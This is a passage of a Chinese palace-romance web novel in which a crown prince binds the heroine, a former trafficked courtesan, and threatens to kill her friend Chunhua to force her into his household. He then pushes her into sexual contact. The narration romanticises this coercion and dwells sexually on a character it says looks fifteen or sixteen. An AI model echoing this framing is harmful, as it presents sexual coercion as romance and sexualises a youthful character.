余姚问:“他死了吗?”
太子被她这句话逗乐了,不可否认,他一笑,就像是木塑石雕上生出鲜花来,莫名活色生香起来。
余姚不知道他笑什么,笑起来皮笑肉不笑,看的人瘆得慌。
太子收敛笑意,道:“薛将军是本朝皇帝钦点的将军,满身功勋都是战场上一刀一枪拼杀出来,托他杀人,只是私交。我虽位高权重,却也不是什么都由得自己,胡乱杀人。”
她看怪物一样看着他,眼睛里都是不可置信。
太子始终沉默,他转动着手指上一枚黑玉扳指,神情漫不经心。通透纯粹的黑色,满殿中没点烛火,靠的是天花顶上镶嵌的一颗深海夜珠,闪发着莹润的水光,还有四周高台上的婴孩拳头大小的同色夜珠,丝毫没有削弱他的风雅贵气。
“我不喜欢你看我的眼神。”太子仿佛明明是乐呵呵的模样,实际上,余姚从他的语气里读出一种不容置疑。
太子背对着她,余姚只需要微微仰起头就能看见他露出来的大片脖颈。
余姚的眼眸瞬间变得锐利起来,反正自己
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是活不成的,若是能在死之前把罪魁祸首也带走……
春花和自己也死得不枉了!
余姚缓缓抽出自己的发簪,脑后的青丝散开。她扬起手想要把发簪尖锐的一端插入他的后颈,眼见那尖锐即将狠狠插入,她忽然觉得自己的手动不了!
简直像是见了鬼一般!
“好放肆。”
一道轻蔑的笑声扬起。
余姚看到前面高挑的人影向后转身,她猝不及防对上一双雪亮锐利的眸子。
她右边眼皮狠狠一跳,心脏就像是被什么东西凶狠攥住。
太子盯着她的脸,伸出指尖在她的手背边缘轻轻移动,而后一举拔下她手中的素银簪子。
他捏在手里轻轻摩挲,仿佛手底下是什么无价之宝。
余姚看向自己的手,像是见了鬼一样,但她知道不是,因为她能感觉到自己的手腕被什么又细又坚韧的东西捆住了。
果然没猜错,她的两只手腕的地方,有什么东西陷进了肉里,只是没破皮。
她奋力挣扎,却发觉那缠绕的东西越发紧致,两只手腕处都有痛感传来。
太子冷嗤一声,他伸手捻住了那透明而坚韧的细线,余姚发觉,他那边一伸缩,她这边手腕就收缩得越发紧了。
原来,这种神鬼不觉的东西,是太子在控制!
“这究竟是什么东西?”余姚发问道。
太子挽起手指,细长、劲瘦的手指像一朵翩翩欲飞的兰花,他轻笑:“雪蛛丝。纤细柔韧,利可断金。”
余姚听了,立即去看自己手腕处,果然看见雪白的手腕处渗出赤红的血珠子来,那丝线被血浸过,她终于看清楚“雪蛛丝”的样子了。
太子顺着余姚的目光也看到了她手腕处,滋滋冒的血珠子。兴许是血液刺激□□,他闭上了眼,轻轻地凑近闻了闻。
余姚也不是什么都不懂的未出阁少女,以前在扬州做瘦马的时候,刘妈妈与扬州红袖楼的老板交好,常从刘家大院借一些出色的角儿去充门面,不过挑得都是相貌好的姑娘们,去了也只是做些清倌的活计,作陪的都是仔细挑选过,有钱有势是头要的,最要紧的是没有虐待姑娘的癖好。
毕竟刘家大院好吃好喝好调教地养着他们,为的就是有朝一日把她们以完璧之身卖出大价钱。
余姚也去过一两回,后来遇见了一个装模作样的书生,没想到两个人才进了屋子,那书生就露了獠牙要强迫,好在当时客房边上有一个颇为仗义的行伍男子,救下了她。
自那以后,任由红袖楼的老鸨子如何哀求点名要余姚去,刘妈妈都只当是王八念经,吵得头疼。
世人都说,鸨儿爱钞,姐儿爱俏。
这话原也没错,但世界上谁能否认自己就不偏爱长相更好的人呢?
就连余姚自己也享受到好相貌带来好处,同时带来无法退缩的灭顶之灾。
太子渐渐走近,两个人的鼻尖几乎就在咫尺之间。
余姚手腕被束,后退不得,也反抗不得,身前又有一个催命似的活阎王。
她咬牙:“你杀了我吧!”
28. 028
空气刹那间就像是被冻结了一般,余姚抬眼看得分明,眼前的男人蓦然睁开眼睛,脸色瞬间就变得阴沉、森冷。
余姚抑制不住自己,她感觉那一瞬间自己的后背涌起一股子冷涔涔的感觉,就连手臂尽头处都冒出了颗粒分明的鸡皮疙瘩。
她下意识地往后后撤了几步,结果差半步都没撤出,两只手腕上的线条就骤然收紧,那两根只有在阳光下、需要从特定的角度才能看的细线,忽然狠狠陷进了肉里。
余姚现在都毫不怀疑自己要是不管不顾向后撤退,这两只手能不能保住都是一个问题。
但是她现在一心求死,还会害怕保不住两条手吗?
余姚深深地看了一眼自己的手腕一眼,而后一咬牙奋力向后一撤。
碍于重力,她的身体一直在向后栽倒。
余姚闭上眼,静静等待着预想的疼痛感传来,但最先感受到的不是肢体破碎,而是摔在地上的痛感。
余姚第一时间去查看自己的手腕,发现自己的手掌还好端端地贴在了自己手臂上,她这才放心地松懈了一口气。
但紧跟着就见到眼前黑影一闪烁。
面前就有一个人自高向下俯视着她,神色阴郁。
“余娘子是不是真的以为自己国色天香,竟敢这样在我面前拿乔。”
太子脑后的青丝顺着动作,宛如一道乌黑青亮的瀑布倾斜而下,几缕发丝尾梢距离余姚的脸庞不过一枚指甲壳大小的距离。
余姚正想说,没有,我哪敢在您面前拿乔,我只是一心想要求死,您要是不想放过我,那就麻烦给个痛快。
但是她一抬起脸,那一撂青丝就在她眼前吊坠子似的挠得人鼻头痒得不成。
“啊秋......”
太子还没意识到即将分发生什么,就看见面前的小美人仿佛即将断气一般抽搐,紧接着就是一声喷嚏声传来。
太子猜到似乎要发生什么,他脑子里一连串要么抬起袖子挡一挡,要么就赶紧起身退后躲开。
没想到,到底是来不及。
余姚打完喷嚏以后,才意识到自己做了什么事。
她讪讪地捂住了自己鼻子,另一手掌撑在背后的地面,身子像弓箭上的弦线一样向后紧绷。
“你……我……”余姚支支吾吾的,最后想说出口的话都被咽进肚子里。
对面的太子半伸着手,闭着眼,一张窄细俊美的脸上有一滩亮晶晶的水渍。
余姚伸手用力地攥紧了衣裙边缘,手指骨节泛白,她胆寒地想伸手去替他擦脸。
只是刚探出半截袖子,就见到对面的人忽然睁开眼,寒玉一样的眸子又冰又寒,她的心尖尖就抑制不住颤栗。
“你……”太子冷着脸起身离开了。
余姚看着他的背影,莫名陷入了尴尬之中。
余姚想着,反正也活不长了,离开总比继续留在这被吓死强吧?
于是,她强撑着爬起来,脚步蹒跚地往紧闭的殿门口跑去,但这殿门似乎是从外面给锁上了。
余姚又不敢开口叫门,只能不断拍打着殿门,然而她刚才在外面见到的两个展专司守门的小内侍就跟死了没两样,一片寂静。
“余娘子,真是叫孤大开眼界。”
不知何时背后忽然传出一道声音,余姚连忙回身去看。
不过几步的距离,太子的脸色不笑的时候,这个时候,余姚反正是连半分‘温润如玉’都看不出来。
相反,她想起他得不到就毁掉的模样,满心满眼睛只觉得面前的美郎君活像是索命的阎王夜叉一般,叫人望而生畏。
尤其是余姚听他换了自称,心中难免一紧。
反正伸头是一刀,低头也是一刀。
“既然你要杀要剐,不如就给个痛快!”
太子眯起眼睛看向了面前的女子,却见她的眼睛里明明是掩藏不住的畏惧,但站得笔直的身姿,与那分毫没有偏差的脊梁。
这是怕了吗?
怕了,该是这幅模样吗?
余姚眼睁睁看着太子露出一抹几乎难以捕捉的笑容,接着他用空出来的两只手掌啪啪拍响,伴随着他的嗓音。
“余娘子好容貌,好本事,好胆量。”
随着他每三个字一排比的顺序,他的掌声也越发大。
余姚觉得这狗太子不过如此,他看起来年纪不过二九之数,管他表面装得如何明月清风,背地里却是得不到就毁掉的人。
她轻蔑地看了他一眼,淡淡道:“圣人说,君子取而有道。你作为将来的天下共主,便是如此践行圣人之言吗?“
太子被她的话一噎,干脆道:“好一个伶牙俐齿。”
余姚颇为厌烦这样的男子,一时之间忽然觉得他与谢凭相比,当真是半点人品也无。
真真是多看一眼都觉厌烦。
她干脆闭上了眼睛,不再看眼前的人。
太子殿下在皇城里,除却了幼年时英华殿在皇后跟前才看过一阵时间的眉高眼低,近年他顶了皇兄的职,坐上东宫太子的鹤座,至今已逾五载光阴。
上至王公贵族,下至百姓黎民,其中还真没有人敢这样给他脸色看。
太子气得仰到,好好好!
有骨气!
真真是最有骨气的小娘子了。
他天生就注定是站在九重云霄的上位者,也是天生的驯兽师,不过他不着急。
因为他是天生的驯兽师,他有的是耐心与手段。
不过眼下瞧着小娘子这一副速速求死的模样,太子心底难免涌起一股后悔之感。
太早了,还没有摸清小娘子内心真正的想法,就这样摊开了自己的心意,逼得她对他有了些许的忌惮。
一时之间,又十分后悔自己适才做什么嘴快,对这小娘子所问的话,都是据实回答了。
若是当时三思后行,自己其实应极力矢口否认才是。
但太子从小接受到的教育,都是:天下事,唯能者得之,东西是,人也是。
再说,事情已经发生,又不似折子戏一般能重新再来无数回。
老帝师也曾提点过他,人生如黑白对弈,大小胜负无数,落子无悔,拿起放下,大丈夫立身处世当如是。
悟已往之不谏,知来者之可追【1】。
太子深深看了一眼面前视死如归的小娘子,忍不住恶向胆边生,心想道:“既然你一心求死,我平生最恨叫人称心如意!”
他道:“看来你是一心求死了?”
余姚不搭理。
他又说:“初次见你的
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时候,我就知道,你是心地善良之人。第二次在护国寺再见的时候,你明明可以自己逃脱,但是你没有,你折回去救人了。我记得她是一个圆脸的小奴婢,是也不是?”
余姚听他提起春花,不免意动,她眼睫微微颤动。
太子察觉,唇角勾起。
找到了。
她的软肋。
余姚还在等他下面的话,谁知面前的人竟然像被毒哑了一样。
她蹙眉,心里熬油一样难受,只得睁开眼。
她问:“你杀了她吗?”
太子轻声道:“她是你重视的人,孤怎会杀她?不过嘛,在孤眼里,唯有得用的东西才配活在世上。”
余姚一听,春花可能还活着,她连忙问:“她在哪?她从始至终都不知道你是谁,她是无辜的。”
太子见她神情焦急,他看着她脸色渐白,眸中瞳孔不由幽深。
他趁机道:“无不无辜,孤自有决断,岂由你评说?”
接着,余姚被太子拉起,按在殿中窗边,太子抬手一揭开窗,窗外月光凄惨照在天幕。
残破的光照从一丛丛白山茶花叶中倾斜而下,不远处有两个身着金甲寒光铠的侍卫,他们手执长刃,行动之间有铿锵声。
余姚分明看见有一身影颤颤,蓬头垢面,颤巍巍瘫倒坐在地上,脖颈处正叉着两柄白刃。
那身影侧过脸来,唇畔颤抖。
余姚瞪大眼目,失声叫喊道:“春花……”
太子道:“余娘子,你看清楚。孤此生有从不碰烟花地浮花浪蕊,不碰有夫之妇。当初是你撞上来的,孤明明给过你时间了,任你离开。是你没有把握住这个机会,凭什么对孤有那么大敌意?”
余姚奋力推她,恨道:“你卑劣无耻!”
太子脸上阴郁堆积,“我无耻?”
下一瞬,余姚感觉自己的脸颊被人一钳,裂裂生疼。
她蹙眉。
太子凝视着她,她脸上半点情绪都没有错过。
“你好大的胆子。”
他轻声嗤道。
太子一只手将她按在窗边,有用身体挡的严严实实。
他逼近:“看来你还不知道真正的无耻是什么模样。”
余姚避无可避,她恨恨咬牙的模样看起来像是要吃他的肉、喝他的血。
“你说,她探听朝廷机密,枉顾朝廷法度,意图逃离。现在就算把她打成反贼也无可厚非。《曌国律法》中明令反贼者,男子五马分尸,女子则尽鞭刑,而后罚入教坊司。你说,一个干净清白的良家女子在那种腌臜的泥淖地能活多久?”太子贴着余姚的脸说的这番话。
若是忽略他们二人神色,从远处看去,女子背过身看向窗外,一个高壮的男子从背后环抱住女子的背部。
男人低下脖子,静静靠着余姚的脸。
听他说到“烟花之地”时,余姚还真想笑,若是他知晓,她其实就是烟花之地出身的女子。
太子久不见回复,心中不免焦躁起来,他阴恻恻说:“余娘子,你真是会拿乔,这个世界上,还真没有人能叫孤低头。”
余姚垂下眼眸,“我从没叫你低头。”
【1】悟已往之不谏,知来者之可追。出自陶渊明的《归去来兮辞》。
29. [锁] [此章节已锁]
背后的太子冷哼:“是,你当然不曾让孤低头,可事实上,孤确实想为你低头。”
余姚似乎见他态度松软,她侧过了脸与他对望:“木公子,妾现在知道您是帝国位高权重的上位者了,与您并肩站在一起的,应该是与您相配的人,她必然出身高门显户、书香世家,口吐芬芳,腹藏锦绣。”
太子忽然嗤笑一声:“你倒是好口才。”
余姚脸色一黯。
太子说:“既然你已经寻到了此处,那你必然是已经知晓了孤的身份了。”
余姚右眼皮有力一跳,她连忙打断说:“妾只是得到了别人的指点,妾日后可以对您起誓,不管从前如何,日后如何,若您同意,妾愿意前尘往事,一笔勾销。倘若此后,妾对人提起,妾魂飞魄散,不得往生。”
最后一个字消散在唇畔的时候,太子忽然伸出食指挡住了她张开的唇畔。
太子说:“你何必起什么毒誓,你说的话,孤自然是无有不信的。”
见他动容,余姚趁热打铁,趁着两个人之间留出来的空隙,她对他福了福身,道:“既然殿下相信,那就放过妾与妾的朋友吧。”
太子听完余姚这番话,便知晓她这是误会了自己的意思。
他面色微变,但仍旧不让开。
太子冷嗤一声:“是孤的意思没有表达清楚?还是你故意装听不懂孤的话?”
他伸手按在了余姚的另一侧肩膀,手掌用力,把她按回身,直面窗外的人。
“姚娘,你信不信只要孤一声令下,你的这个朋友活不过下一个时辰。你跟孤在一起不好吗?”
接着,余姚就听见脸侧太子冷声道:“来人,挥刀!”
话音刚落下,余姚看见那些金甲侍卫们纷纷举起自己手中的长刀。
东宫卫侍卫的武器刀剑,都是用龙泉山上的灵泉水锻造而成,俱不同于民间工艺。
前世,余姚曾亲眼见到,当时还是东宫太子的他遭遇刺杀。
余姚当时恰好在风花雪月楼上见到了楼下发生的一切,楼下的侍卫们纷纷拔出佩剑,与那些贼人近身搏斗。
刀剑挥动,所到之处血肉横飞,一片狼藉。
余姚想起这桩经年往事,她一双清凉如水的黑眸里,倒映出那些刀剑纷飞的情景。
太子举起手,余姚知道下一瞬,如果没有人去阻止,下一刻滚到地上的就是春花的头颅。
也许还有她自己的头。
怎么办?
余姚反问自己,但说实话,她的肢体显然运转得比她的大脑快多了。
“等等!”
喊出那两个字的时候,余姚感觉自己的头脑都出现了一股子轰鸣感,甚至她还听见了自己心脏砰砰砰的动静。
余姚歪过脸,果然见到一旁的男人手臂抬在半空,就差一点点。
太子唇角笑意加深,他仍旧举着手,垂下来眼眸看向了自己怀抱里的女人。
两个人四目相对,太子看见她眼眸中闪烁的水光,余姚则是看见了他眼中的势在必得。
“嗯?”太子的伪音从喉咙处溢出,很显然是在等待着她的回答。
余姚说:“我愿意。”
果然。
太子脸上的笑容加深,他明知故问道:“愿意什么?你说清楚。”
余姚一梗,知道他这是必得要亲耳听她说出口。
她木然道:“妾愿意……跟着您。”
从她中断的话语里,太子想了想,这才察觉出,她实际上并不乐意。
但太子也只是心头上不那么舒服,他的情绪向来鲜少挂脸,因此这般情绪也只是在眼眸底下闪过一丝阴沉罢了。
太子见余姚兴致不高,心底里分明知道她是被迫同他在一起,因而脸上没有笑模样。
太子的眼眸闪过一丝精光,可那又怎样呢?
从始至终,他喜欢的、想要得到的,不就是留下她的身子吗?
至于心与情,将来他尽可以与他心爱的女人来谈。
黑暗中,太子挥挥手,示意那些侍卫住手,将人放了。
外面,两个侍卫都时刻关注着主子的动静,待见到太子的手势,便将手中的长刀重新插回了刀鞘当中。而后又将刀下抖成筛糠的女人提着,一齐下去了。
余姚见他们收刀后,仍旧压着春花离去,心中一急,欲要张嘴叫他们停下。
不成想,她这才刚看向那边,就忽然掉入了一个宽大的怀抱。
余姚一侧脸就闻见了一股子沾染了水汽的木香来,闻起来潮湿温热,初夏时节衣裳轻薄,彼此之间隔着薄衣料子,肌肤散发的热气喷腾,暗暗地,竟颇为暧昧起来。
太子望着下方白嫩嫩如凝脂一般的肤色,心中像是春日里湖边初发的青柳枝叶垂髫入水,一圈圈水波纹荡漾开来,又痒又麻。
他说:“姚姚,如今可如了你的意了?”
余姚被他盯着,后背发毛,她强撑浅笑道:“是,多谢您成全。”
太子生在深宫,还没学会吃饭,就先学会了察言观色;还没学通走路,就已学会了玩弄人心。
他当然知晓这小娘子装着笑,明明口不对心,脸上却撑起假笑,活似个假面一般。
太子并不在意,成大事者,不拘小节。
他只在意自己得到的,并不关心路上的遭遇。
至于余姚,就更简单了。
太子望着眼前如花美眷,眼眸深深,实则心中冷嗤:不过一介小小美妇人而已。
“既然如了你的心意,那姚姚也叫孤如一回意,正所谓滴水之恩,当涌泉相报,姚姚身无长物,便……以身相许罢。”
太子一面低下头脸,形状精细美丽的薄唇宛如蜻蜓点水一般轻轻啄弄她的额头,缓缓下行。
划过她的微微闭上的眼睛,到她的高挺、精细的鼻梁,尔后是下面那一张仿若春华拂晓、芙蓉泣露的红唇。
余姚见他唇即将落下,忽然就侧过了脸,那唇落错了位置,贴在了她的脸上。
太子见她羞恼,小女儿姿态尽显。
虽然她的元红已经叫年逾花甲、发须皆白的老爷子夺去了,但想来老爷子年纪大了,纵然急色,也不过提枪就上。
她年纪瞧起来也才十五六岁的模样,想来人都不曾长成,哪里就体会过了人间极乐?
这样想来,竟不必惋惜,她这样来到了他的身边,与完璧无瑕又有什么区别?
如此想罢,太子另一只伸向对面人腰际的手,情不自禁越收越紧,竟然叫余姚隐约喘不过气来。
余姚挣扎,太子全无放过的意思,二人胸腹相接,摩擦之间竟然叫太子隐隐起了势。
余姚早经人事,怎会不知这是什么意思?
太子身子出现异样,他是最先知晓的,最隐秘的地方就这样抵在另一个人的腹部,这样的认知莫名让他兴奋起来。
他的舌尖舔舐过门牙,漂亮的瑞凤眸子里闪过一丝亮光。
今晚无论如何,他都要定她了。
太子虽然过往没有过女子的经验,但曌朝太祖早就定下规矩。
凡是在云京玉阙城中的龙子皇孙,
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待到十五岁后,由宫中负责派出美貌宫人教导皇子们人事。
太子今年已然十八,他身边大部分同龄的兄弟在十五那年由经过教导的宫人初尝了成人的滋味儿
而皇后是太子名义上的嫡母,更是皇家玉牒上的“母亲”,皇后膝下无子,恰逢当时还是八皇子的太子生母因头胎难产,死于血崩。
太子生母原是皇后的坤宁宫中伺候主子洗脚的一个婢子,只是幼子何辜?
皇后便将太子抱来宫中抚养,对太子要求甚是严苛,尤其是课业与骑射上。
有皇后拘着,那些教习小宫女们没机会近太子殿下的身。
因此,这些年来,太子殿下偶尔由教习宫人用唇舌伺候,偶得疏解。
但太子至今尚是童子身,余姚感觉到太子的手缓缓向上挪移。
余姚被吓得险些叫出声来,她行动间不免连连后退,然而,太子殿下的臂力惊人。
余姚不愿意仓促就范,她固然与谢凭一别两宽,各生欢喜,但她有她的底线,绝不愿轻易托付。
太子殿下如今箭在弦上,他岂能轻易叫这到嘴的鸭子飞走了?
余姚越是挣扎,太子的手越是收紧。
“妾不能!”
余姚挣扎起来,太子没有防备,还险些按不住她。
太子见她脸上没有丝毫羞的意思,他心底冷哼,果然是个乡野出身的流莺,竟然连半分羞耻都不知。
“怎么?难道直到现在你还想拒绝孤么?”太子不愉,只以为眼前女子是风月老手,如今欲拒还迎也不过是她玩弄男人的手段罢了。
余姚听他语气平淡,却隐约觉察到一股子不高兴的意思。
余姚咬牙,道:“木公子……”
太子伸手轻轻摩挲着她的侧脸,而他左手大拇指上面戴着的那只黑玉饕餮扳指儿沁凉地贴着她雪月一样的皮肤,凉得她浑身一颤。
“既然你已经知晓了孤的身份,那日后就不必再称呼孤‘木公子’了,往后称孤‘殿下’即可。”
话音落下,太子便居高临下地望着怀抱中的女子,他身为龙子凤孙,一出生就站在了世间的顶端,他身上流淌的血液足够他俯视世间的大部分蝼蚁。
他对女子向来不假辞色,而今他为她破例,寻常人若是得了如此恩宠,还不千恩万谢?
余姚沉默了好一会,她道:“知晓了,但妾今日确实不能侍奉。”
太子还从没见过此种不识好歹的女子,但他向来是泰山崩于顶而面不改其色,“为何?”
余姚一时之间还真有些难以启齿,只是那太子一直盯着她,大有一副她若是不说,他绝对不肯罢休的态度。
她只得硬着头皮说:“妾身上不舒服。”
“不舒服?那孤叫太医来替你瞧瞧。”太子如此说着,但手下却没有丝毫松懈之意。
余姚身体一僵,与太子相处的这段时间以来,很明显他是那种不见到兔子不撒鹰的人。
她又说:“妾的月事来了。”
她说得直白,太子久居后宫,对宫中了如指掌,岂有不知的道理?
知道归知道,太子身为人君,往前十八载光阴,还从没有同女子对面谈论月事的经验。
太子坦荡,问:“那你这月事情还要多久,才能结束?”
余姚冷眼看他连这种事情都要问,心中立即清明,看来这狗太子还不曾娶妻。
她有意拖延,便说:‘女子月事因人而异,妾的月事少说也要二十多天。’
太子声音已经彻底冷了下来,“是么?”
30. 030
余姚天生的五感敏锐,就在太子问完了那句话以后,她立即就察觉到一丝危险的气息,猛然心中一滞。
她想的是,听闻太子才十八岁,没有娶妻,想来定是不懂这些妇人身上的事。
于是干脆大胆点头说:“是。”
太子的眉眼渐渐冷淡下来,他低头望见她脸颊处,白嫩细腻的肌肤,喉头微微滑动,鬼使神差一般,他伸出一只手拧了一把。
他手下没留力,余姚吃痛,也知晓此时也得罪不起眼前的男人,心中想着,只当自己是被一只哈巴狗儿给咬了一口。
太子见她鼻子、眉毛都挤成一团,又瞥见了手指下方,白皙的皮肤泛着红,手劲一松。
余姚连忙趁着这个空隙,将自己的脸从太子的手中抢了回来。
太子看见她的小动作,收回了手,宽大挺拔的身板却挡住了她的退路:“你骗鬼呢?”
余姚心想,哈!原来你也知道我骗鬼呢。
太子殿下何等机敏的人,他只消瞥一眼对方的神情,就知道对方心里想的什么。
他轻笑,笑得十分瘆人:“你这是在心里头骂我呢?”
余姚心中暗骂,此人莫非真是别人肚肠中的蛔虫,竟然什么都晓得。
但面上余姚仍是摆出一副恭恭敬敬的模样,“妾不敢。”
太子叹口气,余姚抬起一双含水的美目,当真羞杀百花,他觑见这一幕,腹下火气肿胀得生疼。
他的眼睛一直盯着某处,余姚早就注意到了,似乎……肿胀得更厉害了。
她心中暗啐,色批。
太子敏锐察觉到她神情不对,嘴角噙着笑,将她的手牵起,而后稳稳地覆盖在某处。
“既然今日不能侍奉,但亦有别的法子伺候。”
她尽可能忽视手下如潮水一般的波动,以及她唇上被一只手缓缓摩挲的触感。
余姚是风月老手,哪里不知晓太子的暗示,这是要她用嘴舌呢。
她心中冷嗤,却用宽袖底下那只手偷偷拧了一把自己的大腿外侧,手底下没容情,因此刹那间眼眶里就飚出了泪水。
眉目盈盈,梨花带雨。
太子一滞,她这是不愿?还是,不会?
太子沉默片刻,便将她的手放开,他收敛了身上衣物,披上了一件玄色织银线的外裳,完美地挡住了某处不雅观的地方。
“王振。”
太子沉声唤道。
话音刚落,没出三息功夫,寝殿门就从外面被打开来,一身高位内侍藏青色宫装服饰的王振便迈着小碎步走进来。
“殿下您吩咐。”
太子道:“今后余娘子便住在报本宫中,她的事宜你安排。”
王振耳朵尖动了动,听音观色,察觉殿下脸色不佳,二位衣裳都还算完整,莫非好事不成?
他收敛喜上眉梢的神情,应道:“老奴谨记。”
王振又将目光转向了余姚那边,态度软乎道:“余娘子,请随老奴过来吧。”
余姚点点头,王振垂头敛胸,整个人缩得像小虾米一样。
余姚跟在他后面,待他们二人出了殿门,两个人的后背都不自觉地松懈了下来。
-----------------
“就是此处了。”王振道。
余姚跟着王振来到了一处偏小院子当中,这院外大门牌匾上写了“夕颜院”。
夕颜。
她在心中默念这两个词,民间俗语,夕颜花,又名牵牛花,状似喇叭,色紫带粉,晨起时开,光落时败。
因其花期短暂,故名夕颜。
看来是来者不善。
王振在一旁打量起面前美人,心中赞叹,果然沉得住气。
这可是太子殿下在男女情事上开窍的第一个女子。说句大不敬的话,将来圣上龙驭宾天,太子继位,身边伺候的女人们,若有能诞下子嗣的,筹码更重一份,少说将来一个能被他叫一声“娘娘”的位分,还是能挣到的。
王振见她兴致不高,有心同她拉近关系,便说:“这人间的事,无非:风水轮流转,明日到我家,事在人为,余娘子当勉励啊。”
余姚一愣,勉励什么?
世间熙熙皆为利来,人间攘攘皆为利往。
勉励,自然无非名与利二字。
余姚不答,王振也不恼。
这可是将来的金凤凰,说不准日后还要多多依仗她呢。
王振将夕颜院众人叫到一起,从侍奉丫鬟到浆洗老嬷嬷,上上下下也才三四人。
“日后这夕颜院就由这位余娘子居住了,余娘子是侍奉太子殿下的人,尔等务必要服侍好贵人。”王振说完,又对着余姚点点头请辞。
余姚只身在这处院落中,从服侍丫鬟到老嬷嬷都自己介绍了一番,小丫鬟姓杨名桂,两个老嬷嬷分别姓刘与江。
因只有贴身丫鬟还算是年轻,余姚选择问她:“我身边那个叫春花的姑娘在何处?”
杨桂皮笑肉不笑,用她那双尖锐的狐狸眼转转,笑道:“姑娘真是说笑了,我们这些都是报本宫里最低贱的奴才,哪里知道这样许多事情。”
说话听声,听话听音,余姚听完这样一句话就晓得这人对自己态度敷衍,日后且有的折腾呢。
看来春花还在太子手中,反正现在她们二人都在同一处,总会有相见的时候。
余姚空着腹,院子里的奴才见她一个外来的女子,听说连个位份也没有,又被发配到这样遥远的院子里来,想来日后也难得太子殿下的宠幸。
因此,这日晚上除了一盆子热水,便什么都没送上来。
余姚也懒得计较,自己洗漱干净了,关上门,躺到陌生的床榻上,一夜无眠。
后面的三日中,余姚察觉待遇一日不如一日,起先饭菜还能勉强入口,到后面饭菜里都带着些微馊气。
这样的苦日子,结束也才不久,她跟在谢凭身边,虽身份地位总是遭人白眼,冷言耻笑,但像如此这般被旁人出手磋磨,以前还是没有过的。
余姚从前在杨家大院饿习惯了,到现在她吃喝上讲究贵精不贵多。
菜色差极了,余姚吃不下,也没逼着自己硬吃,好在院子里每日还有两块糕点。
饿得狠了,余姚才用这东西泡热水,还是难吃。
“娘子,用饭了。”杨桂将食盒里一盘黄青菜,一碗粥拿出来随意摆放,正要走,却被余姚叫住。
“站住,我问你,堂堂太子寝居,待客之道就是这样?”余姚问。
杨桂噗嗤笑了,冷笑:“这都是厨房定时定量配的,余娘子想吃好的,就得拿这个出来。”
说着,杨桂举起一只手,大拇指灵活地摩挲着食指与中指。
杨桂见余姚不动,嗤笑说:“既然没钱,也没得主子爷的宠爱,那你凭什么吃白饭?显着你了?”
余姚咬牙,伸手将面前饭碗一推,那碗灰白的米饭就从饭碗里歪了出来。
杨桂见她气性这样大,全不似那些新入的好欺负,心中也不由涌起一股子后怕的情绪。但她毕竟是老油条了,强撑道:“余娘子既然不吃,那便算了。”
说完她提着食盒就走了,只剩下余姚与面前一桌子歪七扭八的饭菜面对面。
狭小的屋子里也是一股子馊饭馊菜的味道,她气得咬牙,恨恨打开窗,外面灯火俱亮。
余姚多日不曾好好进食,胃里边活像有把刀子在转来转去,她这日又是月事的第一日。
疼上加疼,她歪倒在床榻上,头晕眼花,简直要痛死过去。
-----------------
另外一处,太子寝殿云华殿中。
“夕颜院?”太子今日处理完政务后,想起
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前段时间江南多省黄河决堤之事总算是得到了遏制,好不容易得了空闲,这才记起自己已经连续许多日没有听到余娘子的消息了。
王振回复完以后,带着高帽的头颅一直往下低着,他道了一声是。
太子殿下那边却又问:“那院中的奴才如何?”
王振将底下专门盯梢的徒子徒孙们原话讲了一遍,话音才落下,王振就感觉到空气有一瞬间的凝滞。
“真真是个孤的好奴才,你越发大胆了。”
良久,太子轻哼一声。
王振虽是侍奉太子殿下多年的老人,此刻也被骇得后背全是冷汗。
王振“噗通”一声跪倒在地上,说:“都是老奴御下不严,老奴该死,老奴该死......”
太子淡淡看着跪伏在脚边的人,头上戴着东宫最高内侍的帽子下,黑发掺杂着白发。
岁月不饶人。
此人是十八年前来到他的身边,小时候也曾抱着他躲避年长有势的兄长们的欺负,也曾兢兢业业效忠、服侍他许多年。
回想起往事,太子难得发了慈悲,他道:“这回算了,日后不要自作主张行事,你服侍孤这么多年了,是故人,孤不想对你们太苛责,但你的心思似乎也随着年纪的增长,变得尤爱窥探人心来了。”
王振的头颅越发低了,心底一阵后怕,这余娘子住在夕颜院的确是他的授意,他其实还是想要看看殿下是如何看待余娘子这个人的。
但夕颜院中因久未曾住人,院中奴才竟然谱大欺主,胆子比他还肥。
王振一边说着“老奴死罪,多谢殿下宽宥。”
他一边又问:“那余娘子那儿......”
太子一顿,问:“这几日可曾见到余娘子前来的消息?”
这事王振都用不着想,他手拿把掐的,当然立刻就反应过来了。但王振拿不准这事,便装作迟疑说:“似乎,不曾。”
太子一愣,随即垂下了薄薄的眼皮,并没有说什么。
但王振还是察觉到太子殿下情绪不甚高的样子。
次日皇帝从行宫发来圣旨,在朝堂议会时颁布,说是因天气转热,皇帝在行宫待着病情没好转,又带着李贵妃去了避暑专用的寒山行宫。
又在圣旨中嘱咐太子万事以国事为重,若遇见杀伐不决事,可自行决断。
皇太子慕容望舒的鹤座就置办在高台上皇帝的金龙宝座之下。
清亮的阳光从朱红色窗棂处照入,宽大的议事朝中,朝廷百官跪伏在耀眼的金砖上,犹如蝼蚁。
朝中众臣面色俱有异样,但都没表现出来。
呵,皇帝哪里是病得严重了,分明是带着怀孕的李贵妃前往寒山行宫避暑了。
现在太子监国,难得手段了得,在黄河决堤一事上,任用的那个人倒真是河伯投胎,有他在河前监管,死人都少了许多。
朝臣都清楚,河道上的官员腰包都肥得很,钱从哪里来?不就从朝廷每年雪花似的拨出去的整治河道的钱里来?
如今黄河上来的那活夜叉,背后又有东宫坐镇,谁敢这时候伸手去触霉头?
如今看来,皇帝嫌黄河的事腥膻骚臭,都丢给太子也不见得都是坏事,毕竟太子靠着手段遇神杀神,遇魔杀魔。
这朝廷上上下下,哪个不服他?
朝廷俨然成了皇太子的小朝廷了。
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待到下了朝,太子便回了宫外的报本宫。
王振亲自服侍太子更换了常服,一身赤红色圆领团龙常服,头戴一顶金色莲鹤展翅冠。
太子对着一整面西洋镜,两只手搁在腰间方回纹玉带之上,略正了正衣冠。
王振瞧着架势,颠颠问:“殿下,您去哪院?”
太子望着镜中高大、挺拔的身影,淡道:“夕颜院。”
31. 031
五月春深时,碧空如洗的天幕上一掠而过的青灰色尖嘴弯喙的海东青展翅翱翔,黄黑色圆环重叠的眼睛里倒映出羽下万千屋宇楼台。
略带炽热的阳光折射在金碧辉煌的琉璃瓦上与冰凉的砖石上,身穿统一青灰内侍宫装的一队小内侍们,两人一队并肩而行。
为首的青年男子身着合身的绯袍玉钩带,阔步而行,身姿潇洒如玉树琼花,更兼身高腿长,脸庞窄瘦俊美,剑眉入鬓,凤目生威。
